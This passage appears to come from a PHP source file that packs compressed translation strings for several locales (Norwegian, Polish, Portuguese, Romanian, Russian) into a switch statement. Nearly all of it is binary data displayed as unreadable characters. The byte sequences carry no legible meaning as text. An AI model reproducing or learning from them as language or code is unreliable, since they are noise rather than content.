#h�%���ފb��r�h�C�+����.s{GRf=�-�[�����q<]ϩp�����P�zQ,��6���Ȉ��C��Pنrl�\�Rh��s5��"�ڮQ.��}�X����=]3�j&#�Ù�`,�n�%�xͭ�i���R�2�\�p�N#��WW�6{�#k���ߟ�3ʊ*�%6�d2��R���;i\��΃�a�>%Mr�p�8 TL���X�	��,U��VZ�Y��h�F�C��[(�G����,]	�u�״�S�!%���5���;/T8��Ċ��Mp˓t�q��r8�u�%Tv��Ã� �����'�Yl將��/[��9�\≘t����&%rJY��*($���MS�DO���H��q�HD$��`�A�cK_G��3DC`jb%!�3/eR��{�ui�����J��sP��1��d˃KAF%��<xҙe�EM	��"��$��D�u(*��2��^�Z�ff�4�SN��*f�T4^b`D�kD��p悕tI�톳#D��)��D>�J4�r��Sp���x)� �O�\X<(�&�B$�=+���f$MI�9'd�M$��GeyFEǸ:P�nl*��$�@�f��i+�9y"�bl�pqhm�3�{�<�(����jnT�Q&�@'�0�]y�6e@���J(Xk.O�R��GH=2Vd��C�J��xeN��z���b�72�k	y1VA��7V�]�:�*L�T]�b������!5��2���C�n��t".�Un �@�g�D�0"�`�IxmPi�(IV���n	�ʹ&Ss�8VC(l��~�Bxm���fx�#X9�b]��Ɲ+���g񆣍.��.K��(�h�Tӭ9�@�>�.��Ԗ&ȅ2L�X�S8��<H�/e����O�r8�$�lDx��cs]��1�T�HT�L!�����y�������\��4`חv��&���݁0L(`�R�&A��<xQTӇE0�B~_BAfF��0�e�+�$���p�G�U/a��#�'�)���(c�M\�^�ޫ�#H�8B,��7T��/5��C	����=4@����v���V�A��^4��#쀔�S"Z� �P��tY	����/RP�k�=��R�-Q�H��$cW���K�t�or�HmfJ�fh2�I>4(�auz�Z�P]�4&�N�}�m-G�ΦS�l:l���-r�܋�V�k�0��w��LN�ڄ�Dg�:Mo�E?�@�����EE ��]��6��Of�Fk�?c�n�Ņ�W�`K�/�\�J���9�%2F�������*Y̔�W���W�j�}ǜ.���]���_9l��s�09�r}5�[�x���[9�L;���n`pD�>ں&(�n��ͧR\-�{i^T�=�M玐�P�d��c�T�m{&'�����R�wt��[]ˣ��	:��6�έ�Vk�g�˒Ε���:�:�sgi��ך�O�@K��<ܺ����᜶����M�WԵw�G~�}�v�=����YK,,�E��#&�\��2�z�?'e���a�Ȁ�'�R:�-���4�Aánr��U���`jr�ER�2b��nSM��H���Җ��b�:5�?�bN����r(��:0B:��,e��+b;�2&�o��`���&n�/�L�jL�%n�oH��k&]h���X�L�I6��Tհ��c�v�l�;�LtN&o,rGf�k�^��C|)��;�ڽ��J�z�τ�$�����r/=	OT�F�mgrn����E|ɐ�n���r��#0�sB`��Ц��+�&�oR�10&i�#�^/.�$�1BR�;L�n�S�|e���Y���V�̹rn�n�t�p��q|�q��gl���φ�n�tL���#�T�x�"�C�y1�p�"�3�� �<nEt�!bf/c�RE�!f�d#Gb�5(���r�B�o.x��r%\�B~�Te���k�2b�n�� r��0�e�r�V�D&o$:8N��Ǫ'�d!M�92�4�X'fʒ��n���Z����L�j�..9"R#�x�'D -��r<(���@�(m��0#B�#�C�V*��gP&��M �҇6(N�N^1Q�$$8#��E,��F�$��%F8�a�q��IJʢ�M��jM�l7��m+�ILN2�Hg�^��IR�q�.B��c0����%�Y �6*8G�Po"��Μ#�5)b��j���*c83Œ8R'La3Y��`�,j�~Š�%kD���l�xm.��L��9`�2�4�#�� �_���t��ࠂ:��N��F\)�,` �!��/�vR�3†@N�U�E�L��0�,d��g���m1R}N�"�7��K$���	�@�	�tn`�";break;case"no":$f="E9�Q��k5�NC�P�\33AAD����eA�"a��t����l��\�u6��x��A%���k����l9�!B)̅)#I̦��Zi�¨q�,�@nFC1��l7AGCy�o9L�q��n$����?6B�%#)��n̳h�Z�r��&K�(�6�nW��mj4`�q���e>�䶁rKM7'�*\^�w6^MҒa��>mv�>��t��4�	����j��	�L��w;i��y�`N-1�B9{�Sq��o;�!G+D��a:]�у!�ˢ��gY��8#Ø��H�֍�R>O���6Lb�ͨ����)�2,��"���8�����	ɀ�=� @�CH�צּL�	��;!N�2���n�8�6/˓�69k[B��C"9�C{f��*��R��<HR�;r�P���s�(-̢��HS"���t�)B�6����n��"1�o�r'(�1>a�4��@�:�Ԍ9�P X��П��D4&À��x�Y��]��Ar�3��X_O�#���J(|6�ĩ+>L��}'���7�B����o�:��+RՎ�H�;�WT�>-��'.#n��7-�8憌�`�!-�1_�&7��*EC.6����4�޶ri�":1�(�0��c�;-î��8#"�l�\0# ����0)ۼ4�C:6�*8)��n��8p���HN�#���BC$2A9�Xص�Z9�l�(��hֲ������wM�Ro��u��X�2� P������3u��|�(-7*�H�D����������bZ�<�"L��W؈�.��3�*_Z�(��^2�	܃KP�r�$����c(Z���hН�-��M�.P�3k*��3���7���x���G�n8孃�G�-�¶0�%�[Ӄ(P9�)H�:Or�z�r�y!��@��MU !�G����R�n�5J;UJ�:*�`����P*�]���ϩm&iib�R�K��ZD�a���s��l'a���@��r	_I�9�˜n_�Д����j�@�6��w"�UmV��b�ú�O�]%x��úw��b�0|䃁ycd*� ��!�7ξSN�Q;5f0��c$R�ck��ѯ�BvM��m8a��xC"�����n�b�k��"���z�!��wƨ(l|�IK)��L��sfD`1�YKs�.%̦)�ʅ���.�H�-�H#�P	@�h*��p((��*#VR��DBz�r-p�L�r2;a��R�&��[j�%�_d�R#&�H�4�_��YA�8)�J�P�R��4�9n�:�A��O6��JKI��!�0��8oi�#Rs��{2&���Ia.&E�5��Oٲ)��1Ir�K!�ÈH-�!�RH�yz�~�b�I���'�œ ��{	��r�4�Pe��@̤B>i�.Q�4җ	| e�֖"��Z�/���xO�ĥ8e�%�L�e�̿�o; !� ����<M�$.����6�I4�\�D#@����irmA�J�?HRb�쭍J��Ό�n3�T�����Un �@�߮D�0"�f�S�:MK�]�ΚBaK�d�2���&�>䁕�Ȗ����]�f���BJI��I:'��S���1 �� �,�k7T���r��)��@�N�V^���D| ar4T����_h�Қ�Zd;E��,������<�5\����_,,�W���Hzaӑɿ[��X�D=����4��iPa�` ���W*�[+�tLz�ˉ�%�Y��\�]�'j�4���r'q�y�ڗ�n. on���#s�on#-H�(Hd�[N/��V��RS��t�7��)�A���\P�BHP�.i�j�r�h���RNFM��yW��(20��K���Nis�xKTz���!J�C�	��'a5͋����z�Ŕ97�6�G11���}�	�����k{)����'� %��|7|��f�l�R' I�P8�u�RR�##��3��A�#0oY�Q�&+�P�]���%�hL	d$p���]\[�Jb|���W�Z3'd�(8@\����8)m��@p>�=�t{�n(/f-ڔ9ta"4���n�!"r��.�������.��u�R�&ţ��u�~F-���oʃ/(i��f�р�����1��-AvF�"|�-E(���R0n�� (']+�*|^�2��d}9�)�쒚c	��:=����"}���ݙ�zYս|�iyG�ҾW�9����[���:m��&�6�'���>�� ;|4�#��gD'�|��R3�d���_�������'�z�o��$�x�P{�ڰ��(i$4� �dE��`�Ti	�N��v(B�-����8y&���Tdh�$0g�c¤'�D�p")����f�P-���]�����pN�̶\�5�	)�n��$ː�ξ6�lP���%��,����BS���/p��ЭP�(M,oϞ0��r�.7�S�8	�[.Z� ��K��d�����밤��'��q��r��#�<�M1&��/��a�s�*eĵ80��r��:��\00"�xo�n00@�Q!���p���12(1n)e��1�afa�V�����9�^�m*N�.�σ�Л�4�1�orqH�1�D��Fƪ�~N$�!1in�LL�c���}�c2�1�nڝi�r��b�A�R����N����"Q6T�BR/�a%�&@�>&DO�,r��$mx����m�1��/�� dFr�Vrd!H.��8q~5�����<5j�n���px��<�ޣbS&)��G2�M�R��kx�-�.(��s�er�X�o:Ê�1��!@Z�1(4��̮�C�X�f6�E��[��j�:@��^у�Lx�C\���S:��r��2B12�Z$���6+�s*0��#3j�5��4N�5�3�D&c"��2,}p�_`��������U$���0��9.0\�����,�To�l- b�ڼ��nf�!X@�%2c��41���%��=(�`�T0nx!@�-+���0���#��n�-i F�n"��";break;case"pl":$f="C=D�)��eb��)��e7�BQp�� 9���s�����r&����yb������ob�$Gs(�M0��g�i��n0�!�Sa�`�b!�29)�V%9���	�Y 4���I��0��cA��n8��X1�b2���i�<n!Gj�Cr��6"�'C��D7�8k��@r2юFF��6�Վ���Z�B��.�j4� �U��i�'n���v7v;=��SF7&�A�<�؉����r���Z��p��k'��zn*�κQ+�5Ə&(y��7����r7���Cr��0�c+D7��`�:#���9���ȩ�{�<e��m(�2��Z�Nx�! t*n����-򴇫�P�ȠϢ�*#��j3<�� P�:��;�=C�;���#�/J�9I����B8�7�#��H�{80��"S4H�6r����)����mc���B�N�Oc ����$@Z�0�skr1�r��3�Ø�幣n�寍d9�T��2.�������X�#Ƃ��p�(,S�@Hp�4r�`���&�420zr��8a�^���\0Ԓ�N?#8^��p�BAxD��{ �r�3򞎃H�7�x�*cx�0�4r�)�C���#�j��K�R���������R�L	Ϣ�2C"40��Ό��"LŎ�NS��N]�?��*;�BX�6Inm�3 �=�P�a%bH�1�K����<8э�A6�Ȱ]���B0��p��D�	>�X3� ��b��pcn'�`�P���	�J�:0�H��0��0�R�|I�'�:��%0�B������k�4�9��nb��@�+��nsߋ���.�Q�i��t�\���\Y���}zO�;���4s�H��<��tR�!Pٸ$��w"�^����6�Ou�=���4w�#8=Da�B�l:���Q`���(�����0e7)e�ɳ� ��6&#�AH9	��3$>M��yRm��$2J�huw=�P���;��d1 ��2t���^�V��&�HNU�,*}jB�8_]4#r�t�I���Ya��b<)�q2*D�`�a�t���1C��ZeQ:BE�+AmT���~�y�$����0��nTj��$HwX	�r�XL����Vz�ZkUk��.�$a�\+�6�FP��]@�їÔ&W�&�P�\�s%1I)�5<��Wzp���"RnPhQ"��rR���+���]��,`eY�Ai-E��Ԡ[҈9. �)`T���u.�d�9.hfX��.Øn~�0��.TA}G�4)r�A	aA�����@�� �001K���Q5�	�T~n�1ʐ�P�Hlr���伃�IeA�3uNx����֕�4�J���a�M &�iZvr�@���+�E	�Qv��s��E�F3G��%�ę�f��b%/�)=D���rv��D�PTLH�H ѝa2v(h�5��C�FB�c7C��R��aa�d�ч�"� �6~������P?W��7��P�Br�&PδieB����PМ���iMD�[���DCnaH#M`�4����S�O!r�D�n?@�~�o��䝷��]	RH\8R���G=�`�BᯯR�˺�YLK܁)8��>A���|�}� ��2O_"<crY������%9�WP��/���f�� 8�4�B;ZV)E�k"b��K�	��_����)TE�%b�q*V�ʒ��A�����l��m��̵��w9s(��w8@Ppd$�̺��5�����e���ƙr�;�����u�l��d���Z.�&@n	��sb�M~;�(9��hC� �LiW�x�Ι2�̔�r@!,q(r�ݤ�@���Q��%��$��)�y�NP�B{*��v����6�pd�9�ެÛ�v�����FB�rP�j��r�|�*nJ<>�NCz+�a=5	����^2��D�"r����oXТg%��%�vj0�]��xt��zV�5��z��6a��Ԡӭӛ�b,L��8ّ�|��҃"87N�ХnRN���0�Y۶��!�aǐ�<U�K���@��b�4w>����l���Ǥ)y����xWg�P����m���T�!�I��H=g��)|N�� �@�BH#얇v${Sq��o�;LGée@��2�@����2(H<�d�����[��b#�W%� ۽K�㼙���k�y����{j�2�LN��o�d1z"z���W���Q����G�;*�˦Pƀ���)�~�i�}�O������(���Z�~�`���~?�3���g�!̹Nr�#B8��*��D����B0O���^�̉�P<�� Ln���H7d� "z5�2����`ĭa2��>_Ɋ5HD(�M@�ك�L�BJF�K�0k�9�� �p-Ϊd"���C�#�8���R��Hz`��'�.�� ȀФ�0�:G֤-�(0���ΐ��d�F����n�0�����xC���&��g�t�<�cF�&�Á6������C��"@�d��4���&U�l��Q44�`n�((��{`���w��$x�gFxr�"vp��RH��H��Q��w1T�p�א��~y�i���J��Qe�Q���1C���hY�/qr��yD�rc��q��X�	����Ŀ�ln�/ ������e�.���ώ��h��f��	���1 ��!L�����!�%)�.��3!p�f�����C)�fs%��%Ч$ѥ	̱�J�Ņ�f2�l�c����f�g����,��NqD@%j�I'68B�Y!�Z��%�8��p�$Vr�ol��x?%���I�,$�)Gp@E�D� �3'd�%���G-d�F0��5���:�&(�r'�*s�q�r0�&0���bND�/���xM�b:�*9�̺*��WrRb����n�2BDQ[6�m5�61���m16�\%��x���{9r�JG�qf�%��=C�8��,T@�8��r��EnlT���2 A2`S�7#ο=0�2Q�<�?42�4q��@�`֕�a�%!�SJ|��?��@�O@2b�����+D�2"him�>�3=�gB��B�#>�d�rt*4��r�?3��IC�	4ӕE�J�F�6P��${(�(s�BTF4$�.�/�oC,7	Ԉ;��H�_�r�Ԋ6�_D��TV�t�鴂x��'Κ �5���z�*ԏdn�����I�[	��CT�Ht�&��J#v�@�X�-��=�zR�L�c#63�H�<O�<���:###���$XeU&��r5-R5Sg�%C3b�n�^�#�a�R���ͧ!U3#oT��[%v��sV��T��L@�`�*�?QFrJ$��c�)ú),�1,���O.,$�6)B�/�^�� �n���p&�un4�,�j$��2rm�]���u�u�`���Zrk�@�D�#	���#��֪�&8��(��-՞n��#X�bJ9@W�GB�j'$�tS�P9ef5�$#VOC�`��gА�>=M�KЁC�䢈�2B @ތ�cJg��"Z�v��V�nbsֆ^��06�wV�/֣^���o0�j���3Q3�7HB9��E{gu:��V%"n`���	�ͥOe��6�I$p̦v�&rGz-��B�W�,=Pt��lp�m#-V����:MAuǤ�V���	U�܃KJ�>OMf��P3�6h#hn���LbBt[B��Qnb����y���@�%�";break;case"pt":$f="T2�D��r:OF�(J.��0Q9��7�j���s9�էc)�@e7�&��2f4��SI��.&�	��6��'�I�2d��fsX�l@%9��jT�l 7E�&Z!�8���h5r��Q��z4��F��i7M�ZԞ�	�&))��8&�̆���Xn$��py��1~4נ"���^��&��a�V#'��ٞ2��H���d0�vf�����β����K$�Sy��x��`�\[rOZ��x���N�-�&�����gM�[�<��7�ES�<�n5���st��I��ܰl0�)r�T:"m�<�#�0�;��"p(.���C#�&���/�K$a��R����`@5(L�4�cȚ)�ҏ6Q�`7r*Cd8$�����jC��Cj��P��r!/n�nN��㌯���%l�n�1����/���=m�7��lnP4�ȃ�RR+1Oq�4�+���J���>�+�+8�j�QR�рP�2r��r�S�pr�#�<�F�S��4����VB)(9�`@ �C:3��:����x�i�ѵB7 �r�3��@^8BU���J�|�3��3.��懁x�'�J2�k��;F҃�R�>]���ılk��+��4��kb�`�0�7��̺϶�P��HpΊ� @1(H��Kbcx�:�1�=�LNt���p����r2 �o���k��2�c��-ٜ�{5�˚Lj٤����ӭ��l1�x�፛=F6r�r�'�	C���K�c؄�)�z�ԍ����3b0k#bMZ5�7g	�ܤ��&L�����Il���)�MX��>B��6=dr"�c��N��>t�V�4����(	#l�8�(��rV�֌(Z��"OOkہL�9(���	v$��\o���P9�L8�a����4m*Y��0�z�8 �k��&H�Tr����@d���6!�34�@���XG��K��?��k���n�)^�L���{M�� J�W�2nNM9�6K����b�ֹXM$�$F�r2�Y+-f����ú�Tn�����yH/+�, }���^+���.W�5F��a �4�9�wf����r��B��4��,��,JYK1g-���T[A�n-��Nj�\�8��#>)��'+�l�`k@��w$J�8&�����!bjh���	�qp+w��:DP�'2`���4��T�A�B��ɻ@��'X�*	Xl~DXˆ�c#��	Ġ4"p�'(AA@$�r��@� �LXs#���hsVĻV&Ў���k�9�#����N@�Q�:����z���SJwW�7��*β�1�x2� �(��CnaH#B$�(S�7nH��^�Zq,.1НʊZ���M	���Q]�1���X^s�~ �-!�@�	jc'I�i6NI&�$D�C&W&�ζ������Ri����sHpz���¢��$�/�@ҳ����.�@�B�q�rN�����3�֨���L�Vp�e���AI� ���+ �]���CT��@���'����uԃ5y�Ȓ `i�!�bvF�Ƣ(�\Ta9�('��@B�D!P"�˼(L��A�Xcv�9b���X0��<d�͗ �]1mY}�Q�,�!F`�aQ��Aj���G�P�◹�)�(U!CIJpH!��;�z���%=��x¶���Vt���c���Ji��6�&��B(D�̽�RPV ��,�6@��#h�釄M�*��o̻X�Q��[!Ѵ)���Cbk:��L�E��K���Bd��HHdIt�a�h쩶")�M��ɉPe�$��Rq�k�b5ɓ^���UW���BCjQbe�i�װ!�wA�2{uX0T��$9`"c��� �S�Q�k<��V���M�rlX���u"I@x�����N5�n�!��@ڋ�nu�T��D�I�#%��*���Y`/,,���h��6�4Q��r�_�»�kz��Ff:c_����ܔ�����r��f�Ut��DC��%�W��p�"'Saēq���a��R^���ӌ���Ƴd�y�����rS�ޕn&�܊IEVr�iK<}8�f�����V����D�H��P*(�.��{AC!�2�,��y�aE���06c��� ��[r���&�P$ol]ZN\x�<"��X������?"��)�b/��w�wL���9����+��n �������#?%}~���}�QFN�$�Dk�.򯀛	6C{�H�,�|��u����:���gH��ӈ+�y�8�G@�퀫�GBo��,9��Y���c,pg	Bb�x��a���o�L�/Z1ξ��lDO�ňon��9�D����Vo��9�T�7��0�,�&�Np�{�*��6PDt�hՉ캂�:oL��b5rZ`r_���Q�R��E�d�e<��d�,N|��%�냞?I`3c�p$�b�6o�XDob�&�@ O�mZRdD��D��p��X����C:g�f�P���k0����OR0�=r�J�GBS��p�ц�*����l�p�1�ƢZa�=-��po����]�I,��Z�Hfr��q^2"Dj�(�`�g|�SB2��*�O�lc�(�P+qB󍖫q�hQ�/���T��X���q��DZ���`y�5#�Jnّ�c��#�nj$2N�lO��aU�&��W��_/bu�^���Q�' q�(�%b)q��D�1�Nq�z�!�4f�d.�h�(��>�C��'-t%�1�L�2J֑��%�b�b��=����bQ��'ĕ �9(jS2�%�p	r�N��g|KÌ���8�Y�~pH_Nm+�@����Bf�_bdШ6�/n�1�XW7����2N2�r�c�r�V���m@@$��AHlE�#1�%�:o Zm�Xq��C�0�6n���ZNg�4dNO丮�.��Ԫ��㉸)�8G�����jVO`�f/"�,�2^>ͯrr�1�F�\��涆L]y��:�w„�$rati��.Tr��5��0cn6F(g�|�Fh1��P�`�b�'o2P#�G�6Pd0��i(��	V���CS�R�?oR5�I�n��T3B����ׇj|E��"�6S�ov�����{E|�M4��h\�#&��:���D+�B��S��I�B��1�!=��R�<v���%�I�p}I��.�� @���k�rs�M>�,�XG(=>�";break;case"pt-br":$f="V7��j���m̧(1��?	E�30��n'0�f�rR 8�g6��e6�㱤�rG%����o��i��h�Xj���2L�SI�p�6�N��Lv>%9��$\�n 7F��Z)�r9���h5r��Q��z4��F��i7M�����&)A��9"�*R�Q$�s��NXH��f��F[���"��M�Q��'�S���f��s���!�r4g฽�䧂�f���L�o7T��Y|�%�7RA\�i�A��_f�������DIA��$���QT�*��f�y�ܕM8䜈���;�Kn؎��v���9���Ȝ��@35�����z7��ȃ2�k�nں��R��43���Ґ� �30n�D�%r��:�k��Cj�=p3��C!0J�nC,|�+�/��╪r�0�e;n��ت.3>�Jš��,��$2S���ҼA#n������͉�z����z7M( ���0�AM���!�#��!�@�;�J�TBI*9�`@U�CF3��:����x�g��U<������ax�	�c ^+�ѻ�p̾'����|�=���T�&�O+�ۼ���*�cbrG�	jH��8��_��7���J�B�^7G��C����:�"��6�nu�Y4���K�,1�yx�5�桪c�C����C�5=6�����L�6��%��h��ӌw�(�0I�r�	��V�G٣n�:4И�*T�wK�B�B��i�bR�M�-5��V\�*���&L[�>�c( �H[�!P�aE�<�`��Ϡ�2��C+�6��\�A�7�殛r#b<��H�S��(��3}\�phYu�O8"@WS���������+	�>��>�qr{1:V9�lx���p�3mSX���x�3NtÌ0�I�ޠ���Beê�6��34&����<��0�w�� d �O+p�n�)~�ޱ�B��Q�7��*��n90C�N-0䯙�*�}`Ն�V:�Yk5g�u��L�Z�`7�`WTE@�#��һr�$f�4��n�Bm���0-D�3`�NBi�`j�n!cr�W��e���b�ZJ �8��_2:}p���mY�P�H�$��P�7���5�⤑�>Mݗ�~���Sj� �/êk��2e&���bH V��I�R���aѮ*�	��V�<��LqM�6>b2gCB3�/�����z%0Ƞ�J0��w�h�RJ�232A̐�LJ	�&r�`1� �nI�v�ٍ�spp��o�/J�%�Ġ[d)r�U��l[���0��ǖ�<�&�?�ԕ?�)� ��S��Nr�(�ZuH�hL���U2NB��:)��"�Q��'��L���4!HF<!�`�	�0(�L��rH�y5h�� �,J�7��d6i�D-����6ˆ$y�[a���¢�1J ��E�:U;1�%��Hq18mЎU���u\4eL�7hb�#Uodq���BI�!��EYS=�PLCs킒�@���q}��㾃C5h��ȓ�7k�:&4��Er.ϛ�N��<'� An��\ЈB`E�da1���S�h(�(�q�nd��6@����r-)zO��,�)GK�ު��}/�_@�<��Q��y.m!��n� u�%�$5�Uus����2a�۳�J	˹�*E�E{sA��@4��xi(d�ϼ��v��`�qe��\����G��i�Y�8J��RU��pu#�t:�̇<N�s'f06>��CҚe�@�(6�A�"��Fm纵_��RB��̘,���he�(+��N�[�b4��;��X!%Ъ����OZ�0r�D93%}�C�yԯ��qXT���9{�&�!`((	4t[�rg�%`��r�r�I�RNtR�s���'�b� T!$�_P[�ʕS�W��H�9��%h&�L4lLӲ7�ӹ�d�A#��ZɊ7��qM�L�1�^���-�^�&�V�czn}�i���J,���B2k�)Ŀ"�{���;�PS�w�X9�}Fm�ƷcB1F��q�-�f�>�+�<�_�ԃpA��;�yr'��3+��ڐ̰a\�B)��ۘ�U����BD0�"B8xS�|Sh���^����w��(;�.uJ�L&���9� c�A�!g�|\2`�m@���}��>|�m�ï@�O���!�߆��D�x��L|~?�y�}�V%���\��9u,�c|v%r���?M�r褐L+�A��f���^%p��V(�����h����ɨp�iÄ�"��j�A־�S�_�]ﳌ��z����q��Z�$�ٹn��v�Z_12vR��G4����Ĝ�L@v�2,4��$���04c�I�7�P�/x�/m,N�C����L� �^�P��;UOd�pN��RDpHҩX��x2���c���h$��.U���m��x��`�0z4O�P��cP�M45�8�m>���An#`ӫ�G�eP�nm=VL�j7���{B�%c�G���iH��*��b� �XW�|���D#�Z�"TQ�_r��00���,k�	M�����Q�����n�B�n�Q�?��r�$MM,�l<����L��p9l#c���3�urN�؋Z�o*����1�p@��%/h����(_V�c�̀p�H���fI�i@ŒpȰSb8ɩ�B`ŃnOg&��p�Qu��s�<�1��3�jҪ�i��s�łK�xd7 �R�Fl/Dt�'4.ώn�&/�P���&�r�3�RFIU$�]�.�2W$�O���I%�3!�3w%Ĭ�R33���Y�:r�x�Y'Ҡ$/*�B�ԒQr�*��+lJ����T��rO))�=,R��mO�Ԃt ��n�P"�+0[.���)2�/2`�1��K��J��-V��3h'"�\�FS����!bF����+/�f�^�46#r1C��(�f�!I3/5���Ī!�g�c�r�V���k�,r��\�9#�4�:����'1�p@�C�1�n���Zg�$��3��O�	Y3(b�	6�h�p���8#Ϯ�i�%#0æ��Oo�S`�K��`!��>��ʇ��#�:�'�(��Tr1Xt�8�|R+J\e1L�QC�Ղ�Rd�at`B���n�L�>q�.��7p1�i3��e$�D��E�I=/��|̶6�p�h=F|�ͭE��4t!W2�l��H0�Hc�r��*b��$/JD�A�J�>Me�I4�/���0M���Q��l[d�#���G?�."�`k$Dl���6#Nc�3B3�96�Th2�A��&%oR�5qR�&L�b�̲g'�\���;$��Ĩ�3>�����:";break;case"ro":$f="S:���VBl� 9�L�S������BQp����	�@p:�$"��c���f���L�L�#��>e�L��1p(�/���i��i�L��I�@-	Nd���e9�%�	��@n��h��|�XnFC1��l7AFsy�o9B�&�rن�7F԰�82`u���Z:LFSa�zE2`xHx(�n9�̹�g��I�f;���=,��f��o��NƜ��� :n�N,�h��2YY�N�;���΁� �A�f����2�r'-K��� �!�{�:<�ٸ�nd& g-�(��0`P�ތ�P�7rcp�;�)��'�#�-@2r��1À�+C�*9��Ȟ�˨ބ��:�/a6����2�ā�J�Enℛ,Jh���Pž�#Jh����V9#���JA(0���r,+���ѡ9P�"���ڐ.���/q�) ���#��x�2��l��1	�C0LK�0�q6%��3��̎A��0�6�I�gA�2��/P���!0�3�@��Ή�x���f���*Έ*Z����ʝr�>9+R��9�/�9�l,;�CCef��J9�`@%�C�3��:����x�y��R�^�Ar�3���_Z���J�|6�	�3/n,���x�9�$��X�.�P#���UBh�̥�C�� �_<o.E�r93�ɍ����rb��AN�J+��r�3�h��r�����>��ŠP�#s;9jS�Y�#��J�2�YF88s:"�56+C��:���,ͽ)�1ţLJ��ɩ!�rp��(�Dռ�\kR��`� #:�Ѹ�j:�J�Z���2j�2#r�ꮐ�&��9 W1�8��9xӒ��P��/u�=MX�M�B���GiM������L ʃ˾rL�7��|�M�:"�_'�cWJ�]�]j sH��zuSB����i¤�n��D�(�����	;�̞��[bh6$m\4���b�'�$��y�W��<�Øf(a�[Ġa aV���҈w�(`����@L�� f�1��zr�)�0�U���^��q�za�������ֻWz�^a�z�%��r����>��)��'�Bp'$$���X��N1K���uñ׊��+|fL='�5n����Q2:|�8��ƹW<^]��x/%轖�_q�~��y��	)�ʧ���(�m4s�{C[nD*��+9P!�19�q!�Q.W%�8����Vr'p-��M��7Q1?�p������b¸Z`V��8aۧ��y9�/�0�#�&�y2��H�P�d���hA�����fy�q,l(x�Cr��KJ_���n�#G|�8䬂���Q �C�K�"*�v�![�d;��ir�:�0D�D%hI�CnaH#�0LyEa�1�<�	H3D�r$��JJE(�y.�VrkR�MC�n���X�n�K�OI@�^$q��l���d��KGY�7K�S�#�RD���*g���P�s����+�50�˜T��-����y$�T/.I<�r�A�-W��g�ˆJI}zQ�u@Bm�qJ�����6��?��N��nRӪ�@)����M�,�P(��ṅ�h3X�r��jO����@Q�R��+�T	cf	M߃�~��m��(���z#I�۴��Y�z	�Uˠ&�A�1!�3�z�ɀPM(ʳ,�����$$����S�*�y�dј��۠�d,���#�����h�����#�w�����I��{ځɭ����e(Vk� ʝ&Z��3�`��u�	��(��T�>/j�Tl͜�oA�����|�5���IB$Z�o$-Ź��~���zO3SC�qԼ�V��v�n�(wN�Ҳ��¦�.�|Ç�ޞ1:��V��C&��r���7w��*�Q�t�<�e�o{g��@7H�:�d3�@n8cٛ91��4�N��J�6|��bt,4�=��5zl%�ݼ����PE'mn[?բY�P�eD����Aa!ֺ�eK�!�C�)R���rl�خ�;�x ��3���#:5�((��HX�c���r��N/ֿ%zd��g���12<̨�Uʒ�9d������@�<�O`�s����6���]�o?�ǫs$�"6��=]ZU���ûEg	M�㲐ٹ�dĪ���U����"�fz�M���7���=��]�b���H���)@�	�c&)$�o��3�d�Pv�Cy|g����&�#�+)S���W�	�^���r���%���ѐ�f�߸{��?�}\O�3�b�ꢇ��F��x�~���Xt�l���k1����p�>�k�@R_יj�`b��*�CJ�Nb�"L�Q��nL.k��M%|�nsC��oENJ�&�<�������O��Fb�VKB�֐>����=@Pf��r���IJ�jnj�U���8F��L��̟"rLwG���+O�b{	L��L���n�҆�	���O��g�Zp�	�30��H�lv%t2��0�쮆�$*��J�h���gp�o��y�O�7-�d�J5̃������"��g�0~�lw'�c������8�k���6�#���i� �#��:�P���>M�PK�x�^<�b��,cx%B\�\r��c�;(J��Z&��( [��k��(�#J�&h��׍b�r�ؑ���^�mJklr0����O0�/��U0��U�d�I��@��W�. O�n�8�c.�r$O��D���"M�!��)GV��׫�<4e���j�J���ԂB:@�aDE,'�d���:�j���v�n�<&A���w(QJ��n�u�ҋ ����� �CP�)g� m�$�$�ʲ�F�l<�E�oA�p*�bn!�r�Lw.2�W��.� "{/�.�7.��R�*Ҹ=Ss!��,��1�"s&K2�//�"(�d�6��s8�3��4$oKT!L#�13��5��Hr��C6�_"��*�I$g�/3jM�y���0NM�3!M�@ľ�H��8�S�Td�6�7zn��L3�;	� 	*x�����3��Wj��f$O�?e�Ψm,°��J�>��1s�(l�hXW��gl/���s���3p:�j��o?S�;2/@�b�%r�V�Fbrq�7p��"WB&���R.H$rr��+I�F �n���pGBN����&�J�h�Y����$��=���c,��:#�B$g�	 fg�xgbOr{��3G��P�l�%Ҝ�)��;:�$#�sb.0�2Av��Lh��#����heL�D�BjM�T����P�f��P�C/`r�Ϻf�Z�ЫFT��u ��.���2�#!�eI��2��6�l2k$�d���<G1�eR��f��jj�D�4�x;��l�j��X�CF�&#�DG>22d�g8oL��p$@�fep�/��ƧEb����F�:u&�CJ	�CW�8m�z���5�4��Tf�r����~2���')E(#��4���$��	t	��@�n`";break;case"ru":$f="�I4Qb�r��h-Z(KA{���ᙘ@s4��$h�X4m�E�FyAg�����nQBKW2)R�A@�apz]NKWRi�Ay-]�!�&��	���p�CE#���yl��n@N'R)���	Nd*;AEJ�K����F���$�V�&�'AA�0�@nFC1��l7c+�&"I�Iз��>Ĺ���K,q��ϴ�.��u�9�꠆��L���,&��NsD�M�����e!_��Z��G*�r�;i��9X��p�d����'ˌ6ky�}�V��n�P����ػN�3$�,�:)�f�(nB>�$e�n��mz������!0<=�����S<��lP�*�E�i�䦖�;�(P1�W�j�t�E���k�!S<�9DzT��nkX]$������ٶ�j�4��y>����N:D�.�˜�Š���1ܧr=�T��>�+h�<F����.�"�]���-1�dnþ����\�,��3��:M�bd�����5�N�(+�2JU���C%�G��#���n�T����,��`#HkΖŵJ��Ljm})T�ʣU%�c�Ļ����7�$�qNr�9�G�j��nu2N�$=\��R2Oճuƌ�n�T�6HhԿ�2O9��r�0wd�V�r�# �4��(��`�?3��S�r$�Bb_�E�V�۸��A�rc�[�Ќ�G��x0�@�2���D4���9�Ax^;�pÓeP\7�C8^2��x�0�c���xD��r�FP�s臧)*��D2�\�x�.��#��E�����l@&.#	�w�d���< �;��3U�rh_�2:M�ZݻD2$���p�6a?�H5��B�;`�&v���O�㪯ו�n�C��wB�)��2M/*8��*��W��`�#�6��L5���b�r���󭊁	��H��,�HLI�KpG�P��K�zp+M���Bp��M�9�-T�L�A�A&�’�R)�!�M���[�`�����KEkX1����*P?����3ܱ�{�?�,0�k�Z�Ԍ�SRܠ�I1"T.t�C�uq}�'vKX�Z�i�(�<`��W�ej�T�k�GQ���XVHgK�J5�[";�+�-E�SӤ$#"��4�3&F�7ē�4]�t��9/�� B�q�A�����H��9��)q`���-�ĺ����K��@sr!�73��nb�A�:$��